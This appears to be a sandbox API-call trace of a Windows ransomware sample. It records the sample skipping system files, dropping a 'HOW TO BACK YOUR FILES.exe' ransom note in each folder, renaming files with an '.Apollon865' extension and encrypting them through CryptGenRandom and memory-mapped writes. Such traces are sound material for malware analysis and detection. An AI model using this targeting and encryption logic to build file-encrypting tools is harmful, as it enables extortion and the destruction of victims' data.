	[0075.372] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="MOFL.DLL" | out: lpString1="MOFL.DLL") returned="MOFL.DLL"
	[0075.372] lstrlenW (lpString="MOFL.DLL") returned 8
	[0075.372] lstrlenW (lpString="Apollon865") returned 10
	[0075.372] lstrlenW (lpString=".dll") returned 4
	[0075.372] lstrcmpiW (lpString1="MOFL.DLL", lpString2=".dll") returned 1
	[0075.372] lstrlenW (lpString=".lnk") returned 4
	[0075.372] lstrcmpiW (lpString1="MOFL.DLL", lpString2=".lnk") returned 1
	[0075.372] lstrlenW (lpString=".ini") returned 4
	[0075.372] lstrcmpiW (lpString1="MOFL.DLL", lpString2=".ini") returned 1
	[0075.372] lstrlenW (lpString=".sys") returned 4
	[0075.372] lstrcmpiW (lpString1="MOFL.DLL", lpString2=".sys") returned 1
	[0075.372] lstrlenW (lpString="MOFL.DLL") returned 8
	[0075.372] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="MSTAG.TLB" | out: lpString1="MSTAG.TLB") returned="MSTAG.TLB"
	[0075.372] lstrlenW (lpString="MSTAG.TLB") returned 9
	[0075.372] lstrlenW (lpString="Apollon865") returned 10
	[0075.372] lstrlenW (lpString=".dll") returned 4
	[0075.372] lstrcmpiW (lpString1="MSTAG.TLB", lpString2=".dll") returned 1
	[0075.372] lstrlenW (lpString=".lnk") returned 4
	[0075.372] lstrcmpiW (lpString1="MSTAG.TLB", lpString2=".lnk") returned 1
	[0075.372] lstrlenW (lpString=".ini") returned 4
	[0075.372] lstrcmpiW (lpString1="MSTAG.TLB", lpString2=".ini") returned 1
	[0075.372] lstrlenW (lpString=".sys") returned 4
	[0075.372] lstrcmpiW (lpString1="MSTAG.TLB", lpString2=".sys") returned 1
	[0075.372] lstrlenW (lpString="MSTAG.TLB") returned 9
	[0075.372] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SmartTagInstall.exe" | out: lpString1="SmartTagInstall.exe") returned="SmartTagInstall.exe"
	[0075.372] lstrlenW (lpString="SmartTagInstall.exe") returned 19
	[0075.372] lstrlenW (lpString="Apollon865") returned 10
	[0075.373] lstrcmpiW (lpString1="nstall.exe", lpString2="Apollon865") returned 1
	[0075.373] lstrlenW (lpString=".dll") returned 4
	[0075.373] lstrcmpiW (lpString1="SmartTagInstall.exe", lpString2=".dll") returned 1
	[0075.373] lstrlenW (lpString=".lnk") returned 4
	[0075.373] lstrcmpiW (lpString1="SmartTagInstall.exe", lpString2=".lnk") returned 1
	[0075.373] lstrlenW (lpString=".ini") returned 4
	[0075.373] lstrcmpiW (lpString1="SmartTagInstall.exe", lpString2=".ini") returned 1
	[0075.373] lstrlenW (lpString=".sys") returned 4
	[0075.373] lstrcmpiW (lpString1="SmartTagInstall.exe", lpString2=".sys") returned 1
	[0075.373] lstrlenW (lpString="SmartTagInstall.exe") returned 19
	[0075.373] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS"
	[0075.373] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0075.373] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c08 | out: hHeap=0x580000) returned 1
	[0075.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS") returned 62
	[0075.373] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS"
	[0075.373] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.373] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0075.380] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.380] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x44ff8690, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44ff8690, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.380] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.380] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0075.380] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0075.380] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x44ff8690, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44ff8690, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0075.380] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.380] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0075.380] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0075.380] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0075.381] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0075.381] lstrcmpiW (lpString1="1033", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.381] lstrcmpiW (lpString1="1033", lpString2="Apollon865.txt.exe") returned -1
	[0075.381] lstrcmpiW (lpString1="1033", lpString2=".") returned 1
	[0075.381] lstrcmpiW (lpString1="1033", lpString2="..") returned 1
	[0075.381] lstrcmpiW (lpString1="1033", lpString2="windows") returned -1
	[0075.381] lstrcmpiW (lpString1="1033", lpString2="bootmgr") returned -1
	[0075.381] lstrcmpiW (lpString1="1033", lpString2="temp") returned -1
	[0075.381] lstrcmpiW (lpString1="1033", lpString2="pagefile.sys") returned -1
	[0075.381] lstrcmpiW (lpString1="1033", lpString2="boot") returned -1
	[0075.381] lstrcmpiW (lpString1="1033", lpString2="ids.txt") returned -1
	[0075.381] lstrcmpiW (lpString1="1033", lpString2="ntuser.dat") returned -1
	[0075.381] lstrcmpiW (lpString1="1033", lpString2="perflogs") returned -1
	[0075.381] lstrcmpiW (lpString1="1033", lpString2="MSBuild") returned -1
	[0075.381] lstrlenW (lpString="1033") returned 4
	[0075.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*") returned 64
	[0075.381] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="1033" | out: lpString1="1033") returned="1033"
	[0075.381] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c08
	[0075.381] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x88) returned 0x5b8f28
	[0075.381] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c10 | out: ListHead=0x5b76b0, ListEntry=0x5b7c10) returned 0x5b7cb0
	[0075.381] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f34c00, ftCreationTime.dwHighDateTime=0x1c62260, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11f34c00, ftLastWriteTime.dwHighDateTime=0x1c62260, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 1
	[0075.381] lstrcmpiW (lpString1="BASMLA.XSL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.381] lstrcmpiW (lpString1="BASMLA.XSL", lpString2="Apollon865.txt.exe") returned 1
	[0075.381] lstrcmpiW (lpString1="BASMLA.XSL", lpString2=".") returned 1
	[0075.381] lstrcmpiW (lpString1="BASMLA.XSL", lpString2="..") returned 1
	[0075.381] lstrcmpiW (lpString1="BASMLA.XSL", lpString2="windows") returned -1
	[0075.381] lstrcmpiW (lpString1="BASMLA.XSL", lpString2="bootmgr") returned -1
	[0075.381] lstrcmpiW (lpString1="BASMLA.XSL", lpString2="temp") returned -1
	[0075.381] lstrcmpiW (lpString1="BASMLA.XSL", lpString2="pagefile.sys") returned -1
	[0075.381] lstrcmpiW (lpString1="BASMLA.XSL", lpString2="boot") returned -1
	[0075.381] lstrcmpiW (lpString1="BASMLA.XSL", lpString2="ids.txt") returned -1
	[0075.381] lstrcmpiW (lpString1="BASMLA.XSL", lpString2="ntuser.dat") returned -1
	[0075.381] lstrcmpiW (lpString1="BASMLA.XSL", lpString2="perflogs") returned -1
	[0075.381] lstrcmpiW (lpString1="BASMLA.XSL", lpString2="MSBuild") returned -1
	[0075.381] lstrlenW (lpString="BASMLA.XSL") returned 10
	[0075.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033") returned 67
	[0075.382] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="BASMLA.XSL" | out: lpString1="BASMLA.XSL") returned="BASMLA.XSL"
	[0075.382] lstrlenW (lpString="BASMLA.XSL") returned 10
	[0075.382] lstrlenW (lpString="Apollon865") returned 10
	[0075.382] lstrlenW (lpString=".dll") returned 4
	[0075.382] lstrcmpiW (lpString1="BASMLA.XSL", lpString2=".dll") returned 1
	[0075.382] lstrlenW (lpString=".lnk") returned 4
	[0075.382] lstrcmpiW (lpString1="BASMLA.XSL", lpString2=".lnk") returned 1
	[0075.382] lstrlenW (lpString=".ini") returned 4
	[0075.382] lstrcmpiW (lpString1="BASMLA.XSL", lpString2=".ini") returned 1
	[0075.382] lstrlenW (lpString=".sys") returned 4
	[0075.382] lstrcmpiW (lpString1="BASMLA.XSL", lpString2=".sys") returned 1
	[0075.382] lstrlenW (lpString="BASMLA.XSL") returned 10
	[0075.382] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033"
	[0075.382] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8f28 | out: hHeap=0x580000) returned 1
	[0075.382] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c08 | out: hHeap=0x580000) returned 1
	[0075.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033") returned 67
	[0075.382] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033"
	[0075.382] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.382] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0075.390] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.391] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x4501e7f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4501e7f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.391] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.391] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0075.391] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0075.391] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x4501e7f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4501e7f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0075.391] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.391] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0075.391] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0075.391] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0075.391] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310fad00, ftCreationTime.dwHighDateTime=0x1c2d758, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x310fad00, ftLastWriteTime.dwHighDateTime=0x1c2d758, nFileSizeHigh=0x0, nFileSizeLow=0x22d6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DATES.XML", cAlternateFileName="")) returned 1
	[0075.391] lstrcmpiW (lpString1="DATES.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.391] lstrcmpiW (lpString1="DATES.XML", lpString2="Apollon865.txt.exe") returned 1
	[0075.391] lstrcmpiW (lpString1="DATES.XML", lpString2=".") returned 1
	[0075.391] lstrcmpiW (lpString1="DATES.XML", lpString2="..") returned 1
	[0075.391] lstrcmpiW (lpString1="DATES.XML", lpString2="windows") returned -1
	[0075.391] lstrcmpiW (lpString1="DATES.XML", lpString2="bootmgr") returned 1
	[0075.391] lstrcmpiW (lpString1="DATES.XML", lpString2="temp") returned -1
	[0075.391] lstrcmpiW (lpString1="DATES.XML", lpString2="pagefile.sys") returned -1
	[0075.391] lstrcmpiW (lpString1="DATES.XML", lpString2="boot") returned 1
	[0075.391] lstrcmpiW (lpString1="DATES.XML", lpString2="ids.txt") returned -1
	[0075.391] lstrcmpiW (lpString1="DATES.XML", lpString2="ntuser.dat") returned -1
	[0075.391] lstrcmpiW (lpString1="DATES.XML", lpString2="perflogs") returned -1
	[0075.391] lstrcmpiW (lpString1="DATES.XML", lpString2="MSBuild") returned -1
	[0075.391] lstrlenW (lpString="DATES.XML") returned 9
	[0075.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*") returned 69
	[0075.391] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="DATES.XML" | out: lpString1="DATES.XML") returned="DATES.XML"
	[0075.391] lstrlenW (lpString="DATES.XML") returned 9
	[0075.391] lstrlenW (lpString="Apollon865") returned 10
	[0075.392] lstrlenW (lpString=".dll") returned 4
	[0075.392] lstrcmpiW (lpString1="DATES.XML", lpString2=".dll") returned 1
	[0075.392] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.Apollon865") returned 88
	[0075.392] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.apollon865"), dwFlags=0x1) returned 1
	[0075.392] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0075.393] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=8918) returned 1
	[0075.393] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0075.393] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0075.393] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0075.393] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0075.394] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0075.394] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.394] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x25e0, lpName=0x0) returned 0x118
	[0075.396] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x25e0) returned 0x100000
	[0075.397] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0075.398] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0075.398] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.398] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ac68
	[0075.398] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ac68 | out: hHeap=0x580000) returned 1
	[0075.398] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0075.398] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0075.398] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0075.398] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0075.398] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0075.398] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0075.398] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0075.398] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0075.398] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0075.399] CloseHandle (hObject=0x118) returned 1
	[0075.399] CloseHandle (hObject=0x15c) returned 1
	[0075.399] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0075.399] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0075.399] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0075.399] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4501e7f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x4501e7f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0075.399] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0075.399] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a301d00, ftCreationTime.dwHighDateTime=0x1c2d7fa, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8a301d00, ftLastWriteTime.dwHighDateTime=0x1c2d7fa, nFileSizeHigh=0x0, nFileSizeLow=0x734, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PHONE.XML", cAlternateFileName="")) returned 1
	[0075.399] lstrcmpiW (lpString1="PHONE.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.399] lstrcmpiW (lpString1="PHONE.XML", lpString2="Apollon865.txt.exe") returned 1
	[0075.399] lstrcmpiW (lpString1="PHONE.XML", lpString2=".") returned 1
	[0075.399] lstrcmpiW (lpString1="PHONE.XML", lpString2="..") returned 1
	[0075.399] lstrcmpiW (lpString1="PHONE.XML", lpString2="windows") returned -1
	[0075.399] lstrcmpiW (lpString1="PHONE.XML", lpString2="bootmgr") returned 1
	[0075.399] lstrcmpiW (lpString1="PHONE.XML", lpString2="temp") returned -1
	[0075.399] lstrcmpiW (lpString1="PHONE.XML", lpString2="pagefile.sys") returned 1
	[0075.399] lstrcmpiW (lpString1="PHONE.XML", lpString2="boot") returned 1
	[0075.399] lstrcmpiW (lpString1="PHONE.XML", lpString2="ids.txt") returned 1
	[0075.399] lstrcmpiW (lpString1="PHONE.XML", lpString2="ntuser.dat") returned 1
	[0075.399] lstrcmpiW (lpString1="PHONE.XML", lpString2="perflogs") returned 1
	[0075.399] lstrcmpiW (lpString1="PHONE.XML", lpString2="MSBuild") returned 1
	[0075.399] lstrlenW (lpString="PHONE.XML") returned 9
	[0075.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77
	[0075.399] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="PHONE.XML" | out: lpString1="PHONE.XML") returned="PHONE.XML"
	[0075.399] lstrlenW (lpString="PHONE.XML") returned 9
	[0075.400] lstrlenW (lpString="Apollon865") returned 10
	[0075.400] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.Apollon865") returned 88
	[0075.400] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.apollon865"), dwFlags=0x1) returned 1
	[0075.401] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0075.401] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1844) returned 1
	[0075.401] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0075.401] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0075.401] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0075.402] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0075.402] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0075.402] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.402] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa40, lpName=0x0) returned 0x118
	[0075.404] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa40) returned 0x100000
	[0075.404] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0075.405] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0075.405] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.405] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ac68
	[0075.405] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ac68 | out: hHeap=0x580000) returned 1
	[0075.405] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0075.405] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0075.405] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0075.405] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0075.405] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0075.406] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
